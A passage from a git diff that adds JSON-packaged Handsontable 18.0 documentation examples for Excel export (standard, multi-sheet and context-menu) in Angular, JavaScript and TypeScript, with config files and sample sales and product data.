\"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
\n
\n \n
\n
\n\n

Q1 Sales

\n \n\n

Q2 Sales

\n \n `,\n})\nexport class AppComponent {\n @ViewChild('hotQ2', { static: false }) hotQ2!: HotTableComponent;\n @ViewChild(HotTableComponent, { static: false }) hotQ1!: HotTableComponent;\n\n readonly q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n ];\n\n readonly q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n ];\n\n readonly sharedSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n\n async exportSheets(): Promise {\n const hotQ1 = this.hotQ1.hotInstance!;\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: this.hotQ2.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json new file mode 100644 index 00000000..fe370405 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
\n

Right-click any cell to open the context menu.

\n
\n \n `,\n})\nexport class AppComponent {\n readonly hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json new file mode 100644 index 00000000..b3adb701 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [\n {\n row: 5,\n col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json new file mode 100644 index 00000000..01cdea54 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [\n { row: 5, col: 0, rowspan: 1, colspan: 2 },\n ],\n customBorders: [\n {\n row: 5, col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json new file mode 100644 index 00000000..44dc8c82 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n

Q1 Sales

\n
\n

Q2 Sales

\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true],\n ['Bob Chen', 'East', 98500, true],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true],\n ['Bob Chen', 'East', 112400, true],\n ['Carol Davies', 'South', 89100, true],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true],\n];\n\nconst sharedConfig = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1'), {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2'), {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets').addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json new file mode 100644 index 00000000..8a92d9ac --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n

Q1 Sales

\n
\n

Q2 Sales

\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst sharedConfig: Handsontable.GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1')!, {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2')!, {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets')!.addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json new file mode 100644 index 00000000..a6d69319 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n

Right-click any cell to open the context menu.

\n
\n
